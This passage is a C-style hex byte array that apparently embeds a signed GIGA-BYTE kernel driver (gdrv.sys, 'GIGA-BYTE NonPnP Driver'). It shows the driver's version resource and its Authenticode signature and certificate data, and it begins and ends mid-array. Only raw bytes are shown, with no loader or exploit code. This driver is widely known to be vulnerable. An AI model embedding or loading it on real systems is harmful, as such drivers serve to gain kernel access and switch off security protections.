0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x04, 0x04, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, - 0xE8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x02, 0x34, 0x00, - 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, - 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, - 0x49, 0x00, 0x4E, 0x00, 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, - 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, - 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, - 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, - 0x6F, 0x00, 0x00, 0x00, 0x22, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, - 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x62, 0x00, - 0x30, 0x00, 0x00, 0x00, 0x5E, 0x00, 0x1F, 0x00, 0x01, 0x00, 0x43, 0x00, - 0x6F, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, - 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x47, 0x00, 0x49, 0x00, 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, - 0x59, 0x00, 0x54, 0x00, 0x45, 0x00, 0x20, 0x00, 0x54, 0x00, 0x45, 0x00, - 0x43, 0x00, 0x48, 0x00, 0x4E, 0x00, 0x4F, 0x00, 0x4C, 0x00, 0x4F, 0x00, - 0x47, 0x00, 0x59, 0x00, 0x20, 0x00, 0x43, 0x00, 0x4F, 0x00, 0x2E, 0x00, - 0x2C, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x54, 0x00, 0x44, 0x00, 0x2E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0x18, 0x00, 0x01, 0x00, 0x46, 0x00, - 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, - 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, - 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x00, 0x49, 0x00, - 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, 0x59, 0x00, 0x54, 0x00, - 0x45, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x50, 0x00, - 0x4E, 0x00, 0x50, 0x00, 0x20, 0x00, 0x44, 0x00, 0x72, 0x00, 0x69, 0x00, - 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x30, 0x00, 0x08, 0x00, - 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, - 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, - 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00, 0x09, 0x00, - 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, - 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, - 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, - 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x4A, 0x00, 0x13, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, - 0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, - 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, - 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, - 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x20, 0x00, 0x28, 0x00, 0x43, 0x00, - 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x31, 0x00, 0x37, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x09, 0x00, 0x01, 0x00, 0x4F, 0x00, - 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, - 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, - 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, - 0x72, 0x00, 0x76, 0x00, 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x07, 0x00, 0x01, 0x00, 0x50, 0x00, - 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, - 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, 0x36, 0x00, 0x34, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x09, 0x00, 0x01, 0x00, 0x50, 0x00, - 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, - 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, - 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x37, 0x00, 0x31, 0x00, 0x32, 0x00, - 0x30, 0x00, 0x31, 0x00, 0x30, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, - 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, - 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, - 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, - 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x40, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0xF8, 0xA0, 0x00, 0xA1, - 0x08, 0xA1, 0x10, 0xA1, 0xB8, 0xA1, 0xD0, 0xA1, 0xD8, 0xA1, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0x1E, 0x00, 0x00, - 0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x1E, 0x99, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x02, 0xA0, 0x82, 0x1E, 0x8A, 0x30, - 0x82, 0x1E, 0x86, 0x02, 0x01, 0x01, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x05, - 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x30, 0x82, 0x01, 0xA8, 0x06, - 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0xA0, - 0x82, 0x01, 0x98, 0x30, 0x82, 0x01, 0x94, 0x30, 0x82, 0x01, 0x6D, 0x06, - 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0F, 0x30, - 0x82, 0x01, 0x5D, 0x03, 0x01, 0x00, 0xA0, 0x82, 0x01, 0x56, 0xA1, 0x82, - 0x01, 0x52, 0x04, 0x10, 0xA6, 0xB5, 0x86, 0xD5, 0xB4, 0xA1, 0x24, 0x66, - 0xAE, 0x05, 0xA2, 0x17, 0xDA, 0x8E, 0x60, 0xD6, 0x04, 0x82, 0x01, 0x3C, - 0x31, 0x82, 0x01, 0x38, 0x30, 0x82, 0x01, 0x34, 0x06, 0x0A, 0x2B, 0x06, - 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x03, 0x01, 0x31, 0x82, 0x01, 0x24, - 0x04, 0x82, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0xCA, 0x42, 0xF0, 0x63, - 0x0E, 0x03, 0xB4, 0x39, 0xF0, 0x67, 0xD0, 0xB1, 0x98, 0x56, 0x51, 0xF8, - 0x55, 0x81, 0x87, 0xBB, 0x00, 0x04, 0x00, 0x00, 0xC8, 0x09, 0x9C, 0xAC, - 0x56, 0xC2, 0x4E, 0x91, 0x87, 0xA9, 0xBA, 0x3A, 0x41, 0x00, 0x8A, 0x63, - 0xFF, 0x63, 0x20, 0xF5, 0x00, 0x14, 0x00, 0x00, 0xAE, 0x9A, 0x08, 0xC8, - 0x17, 0xEF, 0xCD, 0xDF, 0x73, 0x8E, 0x95, 0xD4, 0x04, 0x21, 0xD9, 0x91, - 0x7D, 0x94, 0x8F, 0x37, 0x00, 0x24, 0x00, 0x00, 0xD2, 0xE2, 0x21, 0x90, - 0xF4, 0x35, 0xA7, 0xC8, 0xED, 0x11, 0xC4, 0xA8, 0x14, 0x29, 0xA9, 0x5C, - 0xAC, 0x70, 0xEF, 0x98, 0x00, 0x30, 0x00, 0x00, 0x2C, 0xCF, 0x64, 0xA1, - 0x96, 0x1C, 0xA6, 0x4F, 0xA4, 0x56, 0x4D, 0x96, 0x7E, 0xE2, 0xCF, 0xF4, - 0x44, 0xB0, 0xC0, 0xAE, 0x00, 0x38, 0x00, 0x00, 0x24, 0xB1, 0x02, 0xB3, - 0x62, 0x96, 0x08, 0x3E, 0x4F, 0x2F, 0x41, 0xA9, 0x67, 0x89, 0x93, 0xDC, - 0x25, 0x4C, 0x20, 0xB7, 0x00, 0x3A, 0x00, 0x00, 0x79, 0x8C, 0x65, 0x36, - 0xA9, 0x2D, 0x3B, 0xE4, 0xEF, 0xC5, 0x4D, 0x13, 0x8F, 0x51, 0x46, 0xFE, - 0xCB, 0x0D, 0xAA, 0x08, 0x00, 0x3C, 0x00, 0x00, 0xF4, 0xC1, 0x6A, 0xFC, - 0xB5, 0x43, 0x6A, 0xFD, 0x18, 0xB9, 0x8C, 0x64, 0xB7, 0x4D, 0x02, 0xD6, - 0xF9, 0x3A, 0x9B, 0xB8, 0x00, 0x3E, 0x00, 0x00, 0xF6, 0x95, 0xBD, 0xF3, - 0x7A, 0x5A, 0x4A, 0xB9, 0xA4, 0x07, 0x04, 0x77, 0x26, 0x6A, 0x44, 0xF4, - 0x7B, 0x09, 0xB3, 0x04, 0x00, 0x44, 0x00, 0x00, 0xEB, 0xF4, 0x2C, 0xFA, - 0x74, 0x90, 0x80, 0xD3, 0x34, 0x51, 0x0B, 0xAF, 0xCA, 0x5F, 0x9D, 0x6F, - 0x68, 0xA5, 0xE0, 0x30, 0x00, 0x48, 0x00, 0x00, 0xDC, 0x15, 0x74, 0x35, - 0x89, 0x13, 0xAD, 0xE7, 0xE0, 0x22, 0x48, 0x18, 0xFC, 0xA0, 0xEA, 0x03, - 0xD7, 0x7E, 0xBC, 0x64, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, - 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14, 0x5C, 0x26, 0xF1, 0x30, 0xF6, - 0xA5, 0xAD, 0x8B, 0xDD, 0x2E, 0xED, 0x29, 0x14, 0x05, 0x42, 0xDA, 0xE0, - 0x88, 0x5B, 0x17, 0xA0, 0x82, 0x18, 0x86, 0x30, 0x82, 0x03, 0xEE, 0x30, - 0x82, 0x03, 0x57, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x7E, 0x93, - 0xEB, 0xFB, 0x7C, 0xC6, 0x4E, 0x59, 0xEA, 0x4B, 0x9A, 0x77, 0xD4, 0x06, - 0xFC, 0x3B, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, - 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x81, 0x8B, 0x31, 0x0B, 0x30, 0x09, - 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x5A, 0x41, 0x31, 0x15, 0x30, - 0x13, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0C, 0x57, 0x65, 0x73, 0x74, - 0x65, 0x72, 0x6E, 0x20, 0x43, 0x61, 0x70, 0x65, 0x31, 0x14, 0x30, 0x12, - 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x0B, 0x44, 0x75, 0x72, 0x62, 0x61, - 0x6E, 0x76, 0x69, 0x6C, 0x6C, 0x65, 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x03, - 0x55, 0x04, 0x0A, 0x13, 0x06, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x31, - 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x14, 0x54, 0x68, - 0x61, 0x77, 0x74, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, - 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, - 0x55, 0x04, 0x03, 0x13, 0x16, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x20, - 0x54, 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, - 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x32, 0x31, 0x32, 0x32, - 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x30, - 0x31, 0x32, 0x33, 0x30, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, - 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, - 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, - 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, - 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, - 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, - 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, - 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, - 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, 0x47, 0x32, 0x30, - 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, - 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, - 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xB1, 0xAC, 0xB3, 0x49, - 0x54, 0x4B, 0x97, 0x1C, 0x12, 0x0A, 0xD8, 0x25, 0x79, 0x91, 0x22, 0x57, - 0x2A, 0x6F, 0xDC, 0xB8, 0x26, 0xC4, 0x43, 0x73, 0x6B, 0xC2, 0xBF, 0x2E, - 0x50, 0x5A, 0xFB, 0x14, 0xC2, 0x76, 0x8E, 0x43, 0x01, 0x25, 0x43, 0xB4, - 0xA1, 0xE2, 0x45, 0xF4, 0xE8, 0xB7, 0x7B, 0xC3, 0x74, 0xCC, 0x22, 0xD7, - 0xB4, 0x94, 0x00, 0x02, 0xF7, 0x4D, 0xED, 0xBF, 0xB4, 0xB7, 0x44, 0x24, - 0x6B, 0xCD, 0x5F, 0x45, 0x3B, 0xD1, 0x44, 0xCE, 0x43, 0x12, 0x73, 0x17, - 0x82, 0x8B, 0x69, 0xB4, 0x2B, 0xCB, 0x99, 0x1E, 0xAC, 0x72, 0x1B, 0x26, - 0x4D, 0x71, 0x1F, 0xB1, 0x31, 0xDD, 0xFB, 0x51, 0x61, 0x02, 0x53, 0xA6, - 0xAA, 0xF5, 0x49, 0x2C, 0x05, 0x78, 0x45, 0xA5, 0x2F, 0x89, 0xCE, 0xE7, - 0x99, 0xE7, 0xFE, 0x8C, 0xE2, 0x57, 0x3F, 0x3D, 0xC6, 0x92, 0xDC, 0x4A, - 0xF8, 0x7B, 0x33, 0xE4, 0x79, 0x0A, 0xFB, 0xF0, 0x75, 0x88, 0x41, 0x9C, - 0xFF, 0xC5, 0x03, 0x51, 0x99, 0xAA, 0xD7, 0x6C, 0x9F, 0x93, 0x69, 0x87, - 0x65, 0x29, 0x83, 0x85, 0xC2, 0x60, 0x14, 0xC4, 0xC8, 0xC9, 0x3B, 0x14, - 0xDA, 0xC0, 0x81, 0xF0, 0x1F, 0x0D, 0x74, 0xDE, 0x92, 0x22, 0xAB, 0xCA, - 0xF7, 0xFB, 0x74, 0x7C, 0x27, 0xE6, 0xF7, 0x4A, 0x1B, 0x7F, 0xA7, 0xC3, - 0x9E, 0x2D, 0xAE, 0x8A, 0xEA, 0xA6, 0xE6, 0xAA, 0x27, 0x16, 0x7D, 0x61, - 0xF7, 0x98, 0x71, 0x11, 0xBC, 0xE2, 0x50, 0xA1, 0x4B, 0xE5, 0x5D, 0xFA, - 0xE5, 0x0E, 0xA7, 0x2C, 0x9F, 0xAA, 0x65, 0x20, 0xD3, 0xD8, 0x96, 0xE8, - 0xC8, 0x7C, 0xA5, 0x4E, 0x48, 0x44, 0xFF, 0x19, 0xE2, 0x44, 0x07, 0x92, - 0x0B, 0xD7, 0x68, 0x84, 0x80, 0x5D, 0x6A, 0x78, 0x64, 0x45, 0xCD, 0x60, - 0x46, 0x7E, 0x54, 0xC1, 0x13, 0x7C, 0xC5, 0x79, 0xF1, 0xC9, 0xC1, 0x71, - 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x81, 0xFA, 0x30, 0x81, 0xF7, 0x30, - 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x5F, 0x9A, - 0xF5, 0x6E, 0x5C, 0xCC, 0xCC, 0x74, 0x9A, 0xD4, 0xDD, 0x7D, 0xEF, 0x3F, - 0xDB, 0xEC, 0x4C, 0x80, 0x2E, 0xDD, 0x30, 0x32, 0x06, 0x08, 0x2B, 0x06, - 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x26, 0x30, 0x24, 0x30, 0x22, - 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x16, - 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6F, 0x63, 0x73, 0x70, 